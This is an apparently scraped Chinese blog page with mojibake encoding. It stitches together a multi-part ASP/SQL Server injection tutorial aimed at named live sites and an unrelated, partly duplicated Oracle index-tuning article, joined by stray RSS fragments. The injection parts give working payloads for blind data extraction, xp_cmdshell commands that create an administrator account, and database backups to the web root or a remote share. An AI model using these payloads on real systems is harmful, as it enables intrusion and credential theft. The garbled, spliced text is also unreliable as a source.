随着B/S模式应用开发的发展Q用这U模式编写应用程序的E序员也来多。但是由于这个行业的入门门槛不高Q程序员的水q_l验也参差不齐,相当大一部分E序员在~写代码的时候,没有对用戯入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一D|据库查询代码Q根据程序返回的l果Q获得某些他惛_知的数据Q这是所谓的SQL InjectionQ即QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入?br>
QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入是从正常的WWW端口讉KQ而且表面看v来跟一般的Web面讉K没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报Q如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉?br>
但是QSQL注入的手法相当灵z,?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的时候会到很多意外的情c能不能Ҏ具体情况q行分析Q构造y妙的SQL语句Q从而成功获取想要的数据Q是高手?#8220;菜鸟”的根本区别?br>
Ҏ国情Q国内的|站用ASP+Access或SQLServer的占70%以上QPHP+MySQ占L20%Q其他的不10%。在本文Q我们从分入门、进阶至高讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写Q希望对安全工作者和E序员都有用处。了解ASP注入的朋友也请不要蟩q入门篇Q因为部分h?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的基本判断方法还存在误区。大家准备好了吗QLet's Go...

???br>
如果你以前没试过QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的话Q那么第一步先把IE菜单=>工具=>Internet选项=>高=>昄友好 HTTP 错误信息前面的勾L。否则,不论服务器返回什么错误,IE都只昄为HTTP 500服务器错误,不能获得更多的提CZ息?

W一节、SQL注入原理

以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意Q大部分都是真实数据Q?br>
在网站首上Q有名ؓ“IE不能打开新窗口的多种解决Ҏ”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49Q我们在q个地址后面加上单引?#8217;Q服务器会返回下面的错误提示Q?br>
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表辑ּ 'ID=49'' 中?br>/showdetail.aspQ行8

从这个错误提C我们能看出下面几点Q?br>
1.|站使用的是Access数据库,通过JET引擎q接数据库,而不是通过ODBC?br>2.E序没有判断客户端提交的数据是否W合E序要求?br>3.?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句所查询的表中有一名ؓID的字Dc?br>
从上面的例子我们可以知道QSQL注入的原理,是从客L提交Ҏ的代码,从而收集程序及服务器的信息Q从而获取你惛_得到的资料?br>
W二节、判断能否进行SQL注入

  看完W一节,有一些h会觉得:我也是经常这h试能?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的,q不是很单吗Q?br>  其实Q这q不是最好的ҎQؓ什么呢Q?br>
  首先Q不一定每台服务器的IIS都返回具体错误提C给客户端,如果E序中加了cint(参数)之类语句的话QSQL注入是不会成功的Q但服务器同样会报错Q具体提CZ息ؓ处理 URL 时服务器上出错。请和系l管理员联络?br>
其次Q部分对QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入有一点了解的E序员,认ؓ只要把单引号qo掉就安全了,q种情况不ؓ数Q如果你用单引号试Q是不?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入点的

  那么Q什么样的测试方法才是比较准呢Q答案如下:

?http://www.19cn.com/showdetail.asp?id=49
?http://www.19cn.com/showdetail.asp?id=49 and 1=1
?http://www.19cn.com/showdetail.asp?id=49 and 1=2

q就是经典的1=1?=2试法了Q怎么判断呢?看看上面三个|址q回的结果就知道了:

可以注入的表玎ͼ

?正常昄Q这是必然的Q不然就是程序有错误了)
?正常昄Q内容基本与①相?br>?提示BOF或EOFQ程序没做Q何判断时Q、或提示找不到记录(判断了rs.eofӞ、或昄内容为空Q程序加了on error resume nextQ?br>
不可?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入比较容易判断了Q①同样正常昄Q②和③一般都会有E序定义的错误提C,或提C类型{换时出错?br>
  当然Q这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字W型和搜索型参数Q我在中񔽋的“QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入一般步?#8221;再做分析?

W三节、判断数据库cd?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入Ҏ

不同的数据库的函数?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入Ҏ都是有差异的Q所以在注入之前Q我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServerQ网上超q?9%的网站都是其中之一?br>
怎么让程序告诉你它用的什么数据库呢?来看看:

SQLServer有一些系l变量,如果服务器IIS提示没关闭,q且SQLServerq回错误提示的话Q那可以直接从出错信息获取,Ҏ如下Q?br>
http://www.19cn.com/showdetail.asp?id=49 and user>0

q句语句很简单,但却包含了SQLServerҎ注入Ҏ的精髓,我自׃是在一ơ无意的试中发现这U效率极高的猜解Ҏ。让我看来看看它的含义:首先Q前面的语句是正常的Q重点在and user>0Q我们知道,user是SQLServer的一个内|变量,它的值是当前q接的用户名Q类型ؓnvarchar。拿一个nvarchar的Dint的数0比较Q系l会先试囑ְnvarchar的D{成int型,当然Q{的过E中肯定会出错,SQLServer的出错提C是Q将nvarchar?”abc” 转换数据cd?int 的列时发生语法错误,呵呵Qabc正是变量user的|q样Q不废吹C力就拿到了数据库的用户名。在以后的篇q里Q大家会看到很多用这U方法的语句?br>
Z说几句,众所周知QSQLServer的用户sa是个{同Adminstrators权限的角Ԍ拿到了sa权限Q几乎肯定可以拿C机的Administrator了。上面的Ҏ可以很方便的试出是否是用sadQ要注意的是Q如果是sadQ提C是?#8221;dbo”转换成int的列发生错误Q而不?#8221;sa”?

如果服务器IIS不允许返回错误提C,那怎么判断数据库类型呢Q我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系l表Q比如存放数据库中所有对象的表,Access是在pȝ表[msysobjects]中,但在Web环境下读该表会提C?#8220;没有权限”QSQLServer是在表[sysobjects]中,在Web环境下可正常d?br>
在确认可?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的情况下Q用下面的语句Q?br>
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServerQ那么第一个网址的页面与原页?a target=_blank>http://www.19cn.com/showdetail.asp?id=49是大致相同的Q而第二个|址Q由于找不到表msysobjectsQ会提示出错Q就程序有定w处理Q页面也与原面完全不同?br>
如果数据库用的是AccessQ那么情况就有所不同Q第一个网址的页面与原页面完全不同;W二个网址Q则视乎数据库设|是否允许读该系l表Q一般来说是不允许的Q所以与原网址也是完全不同。大多数情况下,用第一个网址可以得知系l所用的数据库类型,W二个网址只作为开启IIS错误提示时的验证?br>
(入门完)
说明:使用NBSI-NB联盟SQL注入分析器可以检出各种SQL注入漏洞q进行解?提高猜解效率.

在入门篇Q我们学会了QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的判断方法,但真正要拿到|站的保密内容,是远q不够的。接下来Q我们就l箋学习如何从数据库中获取想要获得的内容Q首先,我们先看看SQL注入的一般步骤:


W一节、SQL注入的一般步?br>
首先Q判断环境,L注入点,判断数据库类型,q在入门已l讲q了?br>
其次Q根?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入参数cdQ在脑v中重?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句的原貌,按参数类型主要分Z面三U:

(A) ID=49 q类注入的参数是数字型,SQL语句原貌大致如下Q?br>Select * from 表名 where 字段=49
注入的参CؓID=49 And [查询条g]Q即是生成语句:
Select * from 表名 where 字段=49 And [查询条g]


(B) Class=q箋?q类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’q箋?#8217;
注入的参CؓClass=q箋?#8217; and [查询条g] and ‘’=’ Q即是生成语句:
Select * from 表名 where 字段=’q箋?#8217; and [查询条g] and ‘’=’’

(C) 搜烦时没qo参数的,如keyword=关键字,SQL语句原貌大致如下Q?br>Select * from 表名 where 字段like ’%关键?’
注入的参Cؓkeyword=’ and [查询条g] and ‘%25’=’Q?x生成语句Q?br>Select * from 表名 where字段like ’%’ and [查询条g] and ‘%’=’%’


接着Q将查询条g替换?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句Q猜解表名,例如Q?br>
ID=49 And (Select Count(*) from Admin)>=0

如果面׃ID=49的相同,说明附加条g成立Q即表Admin存在Q反之,即不存在Q请牢记q种ҎQ。如此@环,直至猜到表名为止?br>
表名猜出来后Q将Count(*)替换成Count(字段?Q用同样的原理猜解字D名?br>
有h会说Q这里有一些偶然的成分Q如果表名v得很复杂没规律的Q那Ҏ没得玩下去了。说得很对,q世界根本就不存?00%成功的黑客技术,苍蝇不叮无缝的蛋Q无论多技术多高深的黑客,都是因ؓ别h的程序写得不严密或用者保密意识不够,才有得下手?br>
有点跑题了,话说回来Q对于SQLServer的库Q还是有办法让程序告诉我们表名及字段名的Q我们在高񔽋中会做介绍?br>

最后,在表名和列名猜解成功后,再?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句Q得出字D늚|下面介绍一U最常用的方法-Ascii逐字解码法,虽然q种Ҏ速度很慢Q但肯定是可行的Ҏ?br>
我们举个例子Q已知表Admin中存在username字段Q首先,我们取第一条记录,试长度Q?br>
http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0Q则条g成立Q接着是>1?gt;2?gt;3q样试下去Q一直到条g不成立ؓ止,比如>7成立Q?gt;8不成立,是len(username)=8

  当然没h会笨得从0,1,2,3一个个试Q怎么h比较快就看各自发挥了。在得到username的长度后Q用mid(username,N,1)截取WN位字W,再asc(mid(username,N,1))得到ASCII码,比如Q?br>
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步~小范围的方法得到第1位字W的ASCII码,注意的是英文和数字的ASCII码在1-128之间Q可以用折半法加速猜解,如果写成E序试Q效率会有极大的提高?br>

W二节、SQL注入常用函数

?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语言基础的hQ在QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的时候成功率比不熟悉的h高很多。我们有必要提高一下自qSQL水^Q特别是一些常用的函数及命令?br>
AccessQasc(字符) SQLServerQunicode(字符)

作用Q返回某字符的ASCII?br>

AccessQchr(数字) SQLServerQnchar(数字)

作用Q与asc相反Q根据ASCII码返回字W?br>

AccessQmid(字符?N,L) SQLServerQsubstring(字符?N,L)

作用Q返回字W串从N个字Wv长度为L的子字符Ԍ即N到N+L之间的字W串


AccessQabc(数字) SQLServerQabc (数字)

作用Q返回数字的l对|在猜解汉字的时候会用到Q?br>

AccessQA between B And C SQLServerQA between B And C

作用Q判断A是否界于B与C之间
?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入中碰C文字W是常有的事Q有些h一到中文字符想打退堂鼓了。其实只要对中文的编码有所了解Q?#8220;中文恐惧?#8221;很快可以克服?br>
先说一点常识:

Access中,中文的ASCII码可能会出现负数Q取负数后用abs()取绝对|汉字字符不变?br>
SQLServer中,中文的ASCII为正敎ͼ但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()q回unicode|再用nchar函数取得对应的中文字W?br>
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外Q方法是没什么两L?br>
(q阶完)

看完入门和q阶后Q稍加练习,破解一般的|站是没问题了。但如果到表名列名猜不刎ͼ或程序作者过滤了一些特D字W,怎么提高注入的成功率Q怎么h高猜解效率?请大家接着往下看高񔽋?br>
W一节、利用系l表注入SQLServer数据?br>
SQLServer是一个功能强大的数据库系l,与操作系l也有紧密的联系Q这l开发者带来了很大的方便,但另一斚wQ也?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入者提供了一个蟩板,我们先来看看几个具体?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子Q?br>
?
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表C隔开前后两句语句Q?-表示后面的语句ؓ注释Q所以,q句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储q程xp_cmdshellQ这个存储过E用于调用系l命令,于是Q用net命o新徏了用户名为name、密码ؓpassword的windows的帐P接着Q?br>
?
http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  新建的帐号name加入理员组Q不用两分钟Q你已经拿到了系l最高权限!当然Q这U方法只适用于用saq接数据库的情况Q否则,是没有权限调用xp_cmdshell的?br>
  ?
http://Site/url.asp?id=1 ;;and db_name()>0

前面有个cM?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子and user>0Q作用是获取q接用户名,db_name()是另一个系l变量,q回的是q接的数据库名?br>
?
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

q是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的l对路径Q将数据库备份到Web目录下面Q再用HTTP把整个数据库完完整整的下蝲回来Q所有的理员及用户密码都一览无遗!在不知道l对路径的时候,q可以备份到|络地址的方法(如\\202.96.xx.xx\Share\1.dbQ,但成功率不高?br>
  ?
http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过Qsysobjects是SQLServer的系l表Q存储着所有的表名、视图、约束及其它对象Qxtype=’U’ and status>0Q表C用户徏立的表名Q上面的语句第一个表名取出,?比较大小Q让报错信息把表名暴露出来。第二、第三个表名怎么获取Q还是留l我们聪明的读者思考吧?br>
?
http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部IDQcol_name(表名ID,1)代表该表的第1个字D名Q将1换成2,3,4...可以逐个获取所猜解表里面的字段名?br>
  以上6Ҏ我研ISQLServer注入半年多以来的心血l晶Q可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研ISQLServer注入之后Q我在开发方面的水^也得到很大的提高Q呵呵,也许安全与开发本来就是相辅相成的吧?br>
W二节、绕q程序限制l?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入

在入门篇提到Q有很多人喜Ƣ用’h?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入漏洞Q所以也有很多h用过?#8217;LҎ?#8220;防止”注入漏洞Q这也许能挡住一些入门者的dQ但对SQL注入比较熟悉的hQ还是可以利用相关的函数Q达到绕q程序限制的目的?br>
?#8220;QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的一般步?#8221;一节中Q我所用的语句Q都是经q我优化Q让其不包含有单引号的;?#8220;利用pȝ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入SQLServer数据?#8221;中,有些语句包含?#8217;P我们举个例子来看看怎么攚w这些语句:

单的如where xtype=’U’Q字WU对应的ASCII码是85Q所以可以用where xtype=char(85)代替Q如果字W是中文的,比如where name=’用户’Q可以用where name=nchar(29992)+nchar(25143)代替?br>
W三节、经验小l?br>
1.有些ZqoSelect、Update、Deleteq些关键字,但偏偏忘记区分大写Q所以大家可以用selecTq样试一下?br>
2.在猜不到字段名时Q不妨看看网站上的登录表单,一般ؓ了方便v见,字段名都与表单的输入框取相同的名字?br>
3.特别注意Q地址栏的+号传入程序后解释为空|%2B解释?P%25解释?P具体可以参考URLEncode的相关介l?br>
4.用GetҎ注入ӞIIS会记录你所有的提交字符Ԍ对PostҎ做则不记录,所以能用Post的网址量不用Get?br>
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用q种ҎQ只需要两者之间的区别卛_Q但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高?br>
????br>
QIQ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入漏洞可谓?#8220;千里之堤Q溃于蚁I?#8221;Q这U漏z在|上极ؓ普遍Q通常是由于程序员?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入不了解,或者程序过滤不严格Q或者某个参数忘记检查导致。在q里Q我l大家一个函敎ͼ代替ASP中的Request函数Q可以对一切的SQL注入Say NOQ函数如下:


Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符?br>'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型Q?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''"
End if
SafeRequest=ParaValue
End function

文章到这里就l束了,不管你是安全人员、技术爱好者还是程序员Q我都希望本文能对你有所帮助?/font>
日志标题Q?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL注入的新技?br>发表旉Q?005-2-19 8:25:00
SQL注入的新技?/font>
表名和字D名的获得_适用情况:
1)数据库是MSSQL
2)q接数据库的只是普通用?br>3)不知道ASP源代?br>
可以q行的攻?br>1)Ҏ据内容进行添加,查看Q更?br>
实例:
本文件以
http://www.dy/***.com/user/wantpws.asp
为列q行试d?br>
W一?
在输入用户名处输入单引号Q显C?br>Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符?之前有未闭合的引受?

/user/wantpws.aspQ行63

说明没有qo单引号且数据库是MSSQL.

W二?
输入a;use master;--

Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,h查每?OLE DB 状态倹{没有工作被完成?

/user/wantpws.aspQ行63
q样说明没有权限了?br>
W三?
输入:a or name like fff%;--
昄有一个叫ffff的用户哈?br>
W四?
在用户名处输?br>ffff and 1<>(select count(email) from [user]);--
昄:
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象?user 无效?

/user/wantpws.aspQ行96

说明没有叫user的表Q换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a having 1=1--
一般返回如下也可以直接得到表名和一个字D名?br>Microsoft OLE DB Provider for SQL Server 错误 80040e14
?users.ID 在选择列表中无效,因ؓ该列未包含在聚合函数中,q且没有 GROUP BY 子句?

/user/wantpws.aspQ行63


)

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名?br>
W五?
输入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用戯,q把表名攑֜ffff用户的邮字D中?br>通过查看ffff的用戯料可得第一个用表叫ad
然后Ҏ表名ad得到q个表的ID
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id?581577110
׃对象标志id是根据由到大排列的所以我们可以得到所有的用户表的名字?br>象下面这样就可以得到W二个表的名字了
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

l过一D|间的猜测后我们得C面的分析一下应该明白password,users是最得要?br>
W六?猜重要表的字D?br>输入:
现在q看users表有哪些字段
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
得到W三个字D|password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
得到W四个字D|name
最后users表的字段?8个全得到?br>(?另一个得到字D늚办法,前提是系l的q回出错信息
a group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 80040e14
?users.userid 在选择列表中无效,因ؓ该列既不包含在聚合函CQ也不包含在 GROUP BY 子句中?

/user/wantpws.aspQ行63
q个W二个字D就是userid
昄W三个字Dc?
a group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server ?/span>


]]>
  一. 查看pȝ表中的用L?/title><link>http://www.aygfsteel.com/19851985lili/articles/102519.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Thu, 08 Mar 2007 00:45:00 GMT</pubDate><guid>http://www.aygfsteel.com/19851985lili/articles/102519.html</guid><wfw:comment>http://www.aygfsteel.com/19851985lili/comments/102519.html</wfw:comment><comments>http://www.aygfsteel.com/19851985lili/articles/102519.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/19851985lili/comments/commentRss/102519.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/19851985lili/services/trackbacks/102519.html</trackback:ping><description><![CDATA[在Oracle中,SYSTEM表是安装数据库时自动建立的,它包含数据库的全部数据字典,存储q程、包、函数和触发器的定义以及pȝ回滚Dc?br /><br />  一般来_应该量避免在SYSTEM表中存储非SYSTEM用户的对象。因样会带来数据库维护和理的很多问题。一旦SYSTEM表损坏了Q只能重新生成数据库。我们可以用下面的语句来查在SYSTEM表内有没有其他用L索引存在?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td height="16">select count(*) <br />from dba_indexes<br />where tablespace_name = 'SYSTEM'<br />and owner not in ('SYS','SYSTEM')<br />/</td></tr></tbody></table><br />  <b>? 索引的存储情冉|?/b><br /><br />  Oracle为数据库中的所有数据分配逻辑l构I间。数据库I间的单位是数据块(blockQ、范_extentQ和D(segmentQ?br /><br />  Oracle数据块(blockQ是Oracle使用和分配的最存储单位。它是由数据库徏立时讄的DB_BLOCK_SIZE军_的。一旦数据库生成了,数据块的大小不能改变。要x变只能重新徏立数据库。(在Oracle9i中有一些不同,不过q不在本文讨论的范围内。)<br /><br />  Extent是由一l连l的blockl成的。一个或多个extentl成一个segment。当一个segment中的所有空间被用完ӞOracle为它分配一个新的extent?br />  <br />  Segment是由一个或多个extentl成的。它包含某表I间中特定逻辑存储l构的所有数据。一个段中的extent可以是不q箋的,甚至可以在不同的数据文g中?br /><br />  一个object只能对应于一个逻辑存储的segmentQ我们通过查看该segment中的extentQ可以看出相应object的存储情c?br /><br />  Q?Q查看烦引段中extent的数量:<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select segment_name, count(*) <br />from dba_extents<br />where segment_type='INDEX'<br />and owner=UPPER('&owner') <br />group by segment_name<br />/</td></tr></tbody></table><br />  Q?Q查看表I间内的索引的扩展情况:<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />substr(segment_name,1,20) "SEGMENT NAME",<br />bytes, <br />count(bytes) <br />from dba_extents <br />where segment_name in<br />( select index_name <br />from dba_indexes <br />where tablespace_name=UPPER('&表空?))<br />group by segment_name,bytes<br />order by segment_name<br />/</td></tr></tbody></table><br /><strong>? 索引的选择?br /><br /></strong>  索引的选择性是指烦引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录,表烦引列?980个不同的|那么q个索引的选择性就?980/2000=0.99?br /><br />  一个烦引的选择性越接近?Q这个烦引的效率p高?br /><br />  如果是用基于cost的最优化Q优化器不应该用选择性不好的索引。如果是使用Zrule的最优化Q优化器在确定执行\径时不会考虑索引的选择性(除非是唯一性烦引)Qƈ且不得不手工优化查询以避免用非选择性的索引?br /><br />  定索引的选择性,可以有两U方法:手工量和自动测量?br /><br />  Q?Q手工测量烦引的选择?br /><br />  如果要根据一个表的两列创Z列ƈ|烦引,可以用以下方法测量烦引的选择性:<br /><br />  列的选择?不同值的数目/行的L /* 接q?好 */<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select count(distinct W一列||'%'||W二?/count(*)<br />from 表名<br />/</td></tr></tbody></table><br />  如果我们知道其中一列烦引的选择性(例如其中一列是主键Q,那么我们可以知道另一列烦引的选择性?br /><br />  手工Ҏ的优Ҏ在创建烦引前p评估索引的选择性?br /><br />  Q?Q自动测量烦引的选择?br /><br />  如果分析一个表Q也会自动分析所有表的烦引?br /><br />  W一Qؓ了确定一个表的确定性,p分析表?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze table 表名 <br />compute statistics<br />/</td></tr></tbody></table><br />  W二Q确定烦引里不同关键字的数目Q?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select distinct_keys<br />from user_indexes<br />where table_name='表名'<br />and index_name='索引?<br />/</td></tr></tbody></table><br />  W三Q确定表中行的LQ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select num_rows<br />from user_tables<br />where table_name='表名'<br />/ </td></tr></tbody></table><br />  W四Q烦引的选择?索引里不同关键字的数?表中行的LQ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select i.distinct_keys/t.num_rows<br />from<br />user_indexes i,<br />user_tables t<br />where i.table_name='表名'<br />and i.index_name='索引?<br />and i.table_name=t.table_name<br />/</td></tr></tbody></table><br />  W五Q可以查询USER_TAB_COLUMNS以了解每个列的选择性?br /><br />  表中所有行在该列的不同值的数目Q?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />column_name,<br />num_distinct<br />from user_tab_columns<br />where table_name='表名'<br />/</td></tr></tbody></table><br />  列的选择?NUM_DISTINCT/表中所有行的LQ查询USER_TAB_COLUMNS有助量每个列的选择性,但它q不能精地量列的q置l合的选择性。要x量一l列的选择性,需要采用手工方法或者根据这l列创徏一个烦引ƈ重新分析表?br /><br />  <b>? 定索引的实际碎?/b><br /><br />  随着数据库的使用Q不可避免地对基本表q行插入Q更新和删除Q这样导致叶子行在烦引中被删除,使该索引产生片。插入删除越频繁的表Q烦引碎片的E度也越高。碎片的产生使访问和使用该烦引的I/O成本增加。碎片较高的索引必须重徏以保持最x能?br /><br />  Q?Q利用验证烦引命令对索引q行验证?br /><br />  q将有h值的索引信息填入index_stats表?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>validate index 用户?索引?br />/</td></tr></tbody></table><br />  Q?Q查询index_stats表以定索引中删除的、未填满的叶子行的百分比?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />name,<br />del_lf_rows,<br />lf_rows,<br />round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"<br />from index_stats<br />/</td></tr></tbody></table><br />  Q?Q如果烦引的叶子行的片过10%Q考虑对烦引进行重建?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index 用户?索引?rebuild<br />tablespace 表空间名<br />storage(initial 初始?next 扩展?<br />nologging<br />/</td></tr></tbody></table><br />  Q?Q如果出于空间或其他考虑Q不能重建烦引,可以整理索引?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index用户?索引?coalesce<br />/</td></tr></tbody></table><br />  Q?Q清除分析信?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze index 用户?索引?br />delete statistics<br />/</td></tr></tbody></table><br /><strong>? 索引的选择?br /><br /></strong>  索引的选择性是指烦引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录,表烦引列?980个不同的|那么q个索引的选择性就?980/2000=0.99?br /><br />  一个烦引的选择性越接近?Q这个烦引的效率p高?br /><br />  如果是用基于cost的最优化Q优化器不应该用选择性不好的索引。如果是使用Zrule的最优化Q优化器在确定执行\径时不会考虑索引的选择性(除非是唯一性烦引)Qƈ且不得不手工优化查询以避免用非选择性的索引?br /><br />  定索引的选择性,可以有两U方法:手工量和自动测量?br /><br />  Q?Q手工测量烦引的选择?br /><br />  如果要根据一个表的两列创Z列ƈ|烦引,可以用以下方法测量烦引的选择性:<br /><br />  列的选择?不同值的数目/行的L /* 接q?好 */<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select count(distinct W一列||'%'||W二?/count(*)<br />from 表名<br />/</td></tr></tbody></table><br />  如果我们知道其中一列烦引的选择性(例如其中一列是主键Q,那么我们可以知道另一列烦引的选择性?br /><br />  手工Ҏ的优Ҏ在创建烦引前p评估索引的选择性?br /><br />  Q?Q自动测量烦引的选择?br /><br />  如果分析一个表Q也会自动分析所有表的烦引?br /><br />  W一Qؓ了确定一个表的确定性,p分析表?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze table 表名 <br />compute statistics<br />/</td></tr></tbody></table><br />  W二Q确定烦引里不同关键字的数目Q?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select distinct_keys<br />from user_indexes<br />where table_name='表名'<br />and index_name='索引?<br />/</td></tr></tbody></table><br />  W三Q确定表中行的LQ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select num_rows<br />from user_tables<br />where table_name='表名'<br />/ </td></tr></tbody></table><br />  W四Q烦引的选择?索引里不同关键字的数?表中行的LQ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select i.distinct_keys/t.num_rows<br />from<br />user_indexes i,<br />user_tables t<br />where i.table_name='表名'<br />and i.index_name='索引?<br />and i.table_name=t.table_name<br />/</td></tr></tbody></table><br />  W五Q可以查询USER_TAB_COLUMNS以了解每个列的选择性?br /><br />  表中所有行在该列的不同值的数目Q?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />column_name,<br />num_distinct<br />from user_tab_columns<br />where table_name='表名'<br />/</td></tr></tbody></table><br />  列的选择?NUM_DISTINCT/表中所有行的LQ查询USER_TAB_COLUMNS有助量每个列的选择性,但它q不能精地量列的q置l合的选择性。要x量一l列的选择性,需要采用手工方法或者根据这l列创徏一个烦引ƈ重新分析表?br /><br />  <b>? 定索引的实际碎?/b><br /><br />  